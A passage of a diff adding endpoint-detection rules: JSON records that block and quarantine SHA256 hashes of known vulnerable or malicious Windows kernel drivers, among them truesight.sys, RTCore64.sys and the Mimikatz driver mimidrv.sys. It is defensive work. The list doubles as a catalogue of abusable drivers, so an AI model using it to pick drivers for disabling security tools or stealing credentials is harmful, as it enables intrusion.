+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148319Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "33d1b153cc8f762d850b83d94325a829e0e00aef12b8c64e2543bbd774daebe2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab577ce4-9242-5972-97e7-9f2263b95466",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820515Z",
+  "creation_date": "2026-03-23T11:45:31.820517Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820525Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5a3d1c4bd7153c6f49c0ea0f3db72126dfa4fa9235d783bb5e8ce9de1d4e78bd",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab6b172e-5c69-5cc6-904b-af7e87f74a99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.824221Z",
+  "creation_date": "2026-03-23T11:45:30.824224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.824229Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1f56a17f13eaa76384ebb5586f5e63b24729f90888fd5be9c9ee3a39690f428b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab70ba02-f666-591a-939b-345777165767",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977694Z",
+  "creation_date": "2026-03-23T11:45:29.977696Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9345c3af554c06aa949492f1642a7a03404956d2952cca8a68658b62dccb0825",
+  "comment": "Malicious Kernel Driver (aka ndislan.sys) [https://www.loldrivers.io/drivers/ca1e8664-841f-4e4b-9e67-3f515cc249c6/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab84e72a-9bec-52d3-8783-abcb2b7aed57",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621479Z",
+  "creation_date": "2026-03-23T11:45:29.621481Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621486Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ce231637422709d927fb6fa0c4f2215b9c0e3ebbd951fb2fa97b8e64da479b96",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab85c293-15d1-53a7-a935-d7957892279a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819830Z",
+  "creation_date": "2026-03-23T11:45:30.819832Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819837Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "642857fc8d737e92db8771e46e8638a37d9743928c959ed056c15427c6197a54",
+  "comment": "Vulnerable Kernel Driver (aka nvoclock.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab8dcca1-cc32-50bd-a233-0094b7e0ceec",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.608245Z",
+  "creation_date": "2026-03-23T11:45:29.608247Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.608252Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90c9e8bed1aeb314636a7bc86e26e484eade53c744d2e8a7a316459709760a5e",
+  "comment": "VirtualBox VBoxDrv vulnerable driver (aka VBoxDrv.sys) [CVE-2008-3431] [https://www.loldrivers.io/drivers/79542852-3a0c-43bc-bfa3-3eeb0e1d7fd2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab90e8aa-4d3e-5b98-8137-653a0784e2bf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.455891Z",
+  "creation_date": "2026-03-23T11:45:30.455895Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.455904Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3bf77c52cc0e6b1b0f2b8ceffaadb156673768146950401c27fbfd7e2bedd618",
+  "comment": "Vulnerable Kernel Driver (aka HWiNFO32.SYS) [https://www.loldrivers.io/drivers/2225128d-a23f-434a-aaee-69a88ea64fbd/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab942bca-b90e-53f7-8b3b-1e4a55ef62a1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476174Z",
+  "creation_date": "2026-03-23T11:45:30.476177Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d04c72fd31e7d36b101ad30e119e14f6df9cbc7a761526da9b77f9e0b9888bc4",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab94ee49-57bf-59a7-943d-e69b5a5b8aca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147394Z",
+  "creation_date": "2026-03-23T11:45:31.147396Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147402Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "add4f9ca3e0cb3a429dc5b5c1b0e035483aa73a8b4343933da3d6fccbe26cf13",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ab9b3a91-da92-5ed7-b23f-da4c8f00dde3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464626Z",
+  "creation_date": "2026-03-23T11:45:30.464629Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "64d4370843a07e25d4ceb68816015efcaeca9429bb5bb692a88e615b48c7da96",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abaac0c3-c86f-5cee-b18a-7511f5021c99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980976Z",
+  "creation_date": "2026-03-23T11:45:29.980977Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980983Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9bd8b0289955a6eb791f45c3203f08a64cbd457fd1b9d598a6fbbca5d0372e36",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abacd25c-6918-565d-aa0f-f0e2f8831dd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970366Z",
+  "creation_date": "2026-03-23T11:45:29.970368Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970373Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b61b09f6313a567b6fcdec2e961f6a118a2314aed5519dd2b9830c4ace758c03",
+  "comment": "Mimikatz kernel driver (aka mimidrv.sys) [https://github.com/gentilkiwi/mimikatz] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abb1658e-0415-5854-9016-a974522c365f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140565Z",
+  "creation_date": "2026-03-23T11:45:31.140567Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140572Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1971f32f211b10e0b13b1fc29389704ee30f5a0af76e8b44bbc36cc3a0a75ca0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abb674bf-d003-5d6d-bda6-bd9d518bcee5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144411Z",
+  "creation_date": "2026-03-23T11:45:31.144413Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd0c0af7261a6ca81fa1981e4e51b6502216e75f9fc80af30d8b4c8bd6958669",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abc988bb-db47-5053-a44c-22d089808b27",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460664Z",
+  "creation_date": "2026-03-23T11:45:30.460667Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460691Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1cedd5815bb6e20d3697103cfc0275f5015f469e6007e8cac16892c97731c695",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abca81ef-5292-55ef-9a00-8486d991ccf5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976464Z",
+  "creation_date": "2026-03-23T11:45:29.976466Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976472Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1716d4c523aeea9703032ca93eb9668b9a16f542c00cec248b0a1c132d80bb15",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abe415a1-2eff-5129-9a7d-7b4946486789",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150071Z",
+  "creation_date": "2026-03-23T11:45:31.150073Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150078Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3ee93b7d88c8b12daa635eabbf410dcc85ca59d09236bc370e9d3cde005d02fa",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abeb7395-225a-57f3-b3c0-39b9c726e960",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978248Z",
+  "creation_date": "2026-03-23T11:45:29.978250Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978255Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6908ebf52eb19c6719a0b508d1e2128f198d10441551cbfb9f4031d382f5229f",
+  "comment": "Malicious Kernel Driver (aka wantd_2.sys) [https://www.loldrivers.io/drivers/aa687f89-4f3b-4b59-b64e-fee5e2ae2310/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abf38035-9853-5f02-8d5c-5c258db158db",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611694Z",
+  "creation_date": "2026-03-23T11:45:29.611696Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611701Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68b0a239031b158e2927bb5dc8844b662cb4616ee8c1363fa729aa8fa0d86cff",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "abfa4c63-ffc3-588d-9628-4e25ba6b93b4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820271Z",
+  "creation_date": "2026-03-23T11:45:31.820274Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "906dbf004c8a502c821be0783c09c0834f0def4adf74402b5181bad93fb04d19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac1102a0-ca1d-54a8-b069-1371c83754e3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154587Z",
+  "creation_date": "2026-03-23T11:45:31.154589Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154594Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d6d0573dd11a89a44ce660398984afd191466af7f3fe96e719ffb4b7fe590fa5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ac1a02a5-e2f0-5f95-be88-8007595339c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808414Z",
+  "creation_date": "2026-03-23T11:45:31.808416Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808422Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0d01999f5cdc1e01f5e426d1464e2ee6f0c16f8734a669f9bef5c8428e8671c7",
